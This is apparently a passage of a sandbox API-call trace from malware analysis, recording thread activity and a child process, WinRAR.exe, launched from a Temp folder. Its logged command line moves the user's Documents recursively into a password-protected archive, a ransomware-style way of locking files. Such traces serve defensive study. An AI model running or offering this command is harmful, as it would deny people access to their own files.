[0064.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.112] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 160 os_tid = 0x6c0 [0059.339] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.584] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.857] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.622] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x2000) returned 0x3b8d790 [0061.622] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8d790, Size=0x4000) returned 0x3bc2110 [0061.622] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3bc2110, Size=0x8000) returned 0x3bc6120 [0061.623] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3b8c460 [0061.623] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x2000) returned 0x3b8d790 [0061.623] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8d790, Size=0x4000) returned 0x3bc2110 [0061.623] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3bc2110, Size=0x8000) returned 0x3bce130 [0061.624] SetEvent (hEvent=0x190) returned 1 [0061.624] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.056] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.099] SetEvent (hEvent=0x190) returned 1 [0062.099] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.123] SetEvent (hEvent=0x190) returned 1 [0063.123] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.185] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.424] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.737] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.981] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.639] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.680] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.724] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.778] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.836] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.105] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 161 os_tid = 0x2ec [0059.339] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.585] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x180) returned 0x3b8d470 [0059.585] SetEvent (hEvent=0x190) returned 1 [0059.585] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.870] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.013] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.058] SetEvent (hEvent=0x190) returned 1 [0062.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.100] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.066] SetEvent (hEvent=0x190) returned 1 [0063.066] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.123] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.186] SetEvent (hEvent=0x190) returned 1 [0063.186] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.853] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.610] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.647] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.685] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.731] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.910] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.985] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.111] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 162 os_tid = 0x5c0 [0059.479] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.716] SetEvent (hEvent=0x190) returned 1 [0059.716] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.081] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.022] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.176] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.359] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.700] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.870] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x180) returned 0x3b8f790 [0063.870] SetEvent (hEvent=0x190) returned 1 [0063.870] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.649] SetEvent (hEvent=0x190) returned 1 [0064.649] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.687] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.734] SetEvent (hEvent=0x190) returned 1 [0064.734] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.846] SetEvent (hEvent=0x190) returned 1 [0064.846] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.988] SetEvent (hEvent=0x190) returned 1 [0064.988] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.112] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 163 os_tid = 0x638 [0059.479] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.715] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.081] SetEvent (hEvent=0x190) returned 1 [0060.081] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.022] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.064] SetEvent (hEvent=0x190) returned 1 [0062.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.113] SetEvent (hEvent=0x190) returned 1 [0063.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.175] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.359] SetEvent (hEvent=0x190) returned 1 [0063.359] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.699] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.869] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.686] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.732] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.112] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 164 os_tid = 0xb40 [0059.479] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.716] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x180) returned 0x3b8d600 [0059.716] SetEvent (hEvent=0x190) returned 1 [0059.716] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.096] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.024] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.056] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.114] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.177] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.360] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.714] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.880] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] SetEvent (hEvent=0x190) returned 1 [0064.618] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.653] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.692] SetEvent (hEvent=0x190) returned 1 [0064.692] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.790] SetEvent (hEvent=0x190) returned 1 [0064.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.850] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.975] SetEvent (hEvent=0x190) returned 1 [0064.975] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.136] SetEvent (hEvent=0x190) returned 1 [0065.136] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 165 os_tid = 0xb3c [0059.479] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.716] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.096] SetEvent (hEvent=0x190) returned 1 [0060.096] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.023] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.056] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.114] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.176] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.360] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.714] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.880] SetEvent (hEvent=0x190) returned 1 [0063.880] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.653] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.692] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.850] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.975] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.136] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 166 os_tid = 0xb38 [0059.480] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.730] SetEvent (hEvent=0x190) returned 1 [0059.730] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.096] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.049] SetEvent (hEvent=0x190) returned 1 [0062.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.092] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.057] SetEvent (hEvent=0x190) returned 1 [0063.057] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.115] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.178] SetEvent (hEvent=0x190) returned 1 [0063.178] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.401] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.714] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.890] SetEvent (hEvent=0x190) returned 1 [0063.890] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.654] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.693] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.739] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.791] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.851] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.976] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.103] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.136] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 167 os_tid = 0xb34 [0059.480] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.730] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.096] SetEvent (hEvent=0x190) returned 1 [0060.096] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.092] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.057] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.115] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.178] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.401] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.714] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.880] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.617] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.653] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.692] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.850] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.975] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.102] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.135] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Process: id = "8" image_name = "winrar.exe" filename = "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe" page_root = "0x4cf44000" os_pid = "0xa20" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x8dc" cmd_line = "C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" cur_dir = "C:\\Users\\WhuOXYsD\\Documents\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0xa30 [0049.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efc68 | out: lpSystemTimeAsFileTime=0x1efc68*(dwLowDateTime=0x3177cc60, dwHighDateTime=0x1d4e94c)) [0049.781] GetCurrentThreadId () returned 0xa30 [0049.781] GetCurrentProcessId () returned 0xa20 [0049.781] QueryPerformanceCounter (in: lpPerformanceCount=0x1efc70 | out: lpPerformanceCount=0x1efc70*=12512136863) returned 1 [0049.782] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.782] GetLastError () returned 0x57 [0049.782] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7a20000 [0049.787] GetProcAddress (hModule=0x7fef7a20000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0049.787] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.787] GetLastError () returned 0x57 [0049.787] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.790] LoadLibraryExW (lpLibFileName=0x13f278990, hFile=0x0, dwFlags=0x800) returned 0x0 [0049.790] GetLastError () returned 0x57 [0049.790] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77ae0000 [0049.791] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsAlloc") returned 0x77af7190 [0049.791] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsSetValue") returned 0x77afbd90 [0049.792] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.792] GetLastError () returned 0x57 [0049.792] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7a20000 [0049.792] GetProcAddress (hModule=0x7fef7a20000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0049.792] GetProcessHeap () returned 0x2e0000 [0049.792] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.792] GetLastError () returned 0x57 [0049.792] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.852] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.852] GetLastError () returned 0x57 [0049.852] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77ae0000 [0049.852] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsAlloc") returned 0x77af7190 [0049.852] GetLastError () returned 0x57 [0049.852] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsGetValue") returned 0x77b03520 [0049.852] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x3c8) returned 0x308030 [0049.853] GetProcAddress (hModule=0x77ae0000, lpProcName="FlsSetValue") returned 0x77afbd90 [0049.853] SetLastError (dwErrCode=0x57) [0049.853] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1000) returned 0x308400 [0049.854] GetStartupInfoW (in: lpStartupInfo=0x1efb40 | out: lpStartupInfo=0x1efb40*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) [0049.854] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0049.854] GetFileType (hFile=0x3) returned 0x0 [0049.854] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0049.854] GetFileType (hFile=0x7) returned 0x0 [0049.854] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0049.854] GetFileType (hFile=0xb) returned 0x0 [0049.854] GetCommandLineA () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0049.854] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0049.854] GetLastError () returned 0x6 [0049.854] SetLastError (dwErrCode=0x6) [0049.854] GetLastError () returned 0x6 [0049.854] SetLastError (dwErrCode=0x6) [0049.854] GetACP () returned 0x4e4 [0049.854] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x228) returned 0x306d80 [0049.854] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.854] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1efb10 | out: lpCPInfo=0x1efb10) returned 1 [0049.854] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1ef3b0 | out: lpCPInfo=0x1ef3b0) returned 1 [0049.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1ef3d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1ef3d0, cbMultiByte=256, lpWideCharStr=0x1ef100, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䓐.") returned 256 [0049.854] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䓐.", cchSrc=256, lpCharType=0x1ef6d0 | out: lpCharType=0x1ef6d0) returned 1 [0049.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1ef3d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.854] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1ef3d0, cbMultiByte=256, lpWideCharStr=0x1ef0a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.854] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.854] GetLastError () returned 0x57 [0049.854] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0049.856] GetProcAddress (hModule=0x77ae0000, lpProcName="LCMapStringEx") returned 0x77b2b710 [0049.856] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 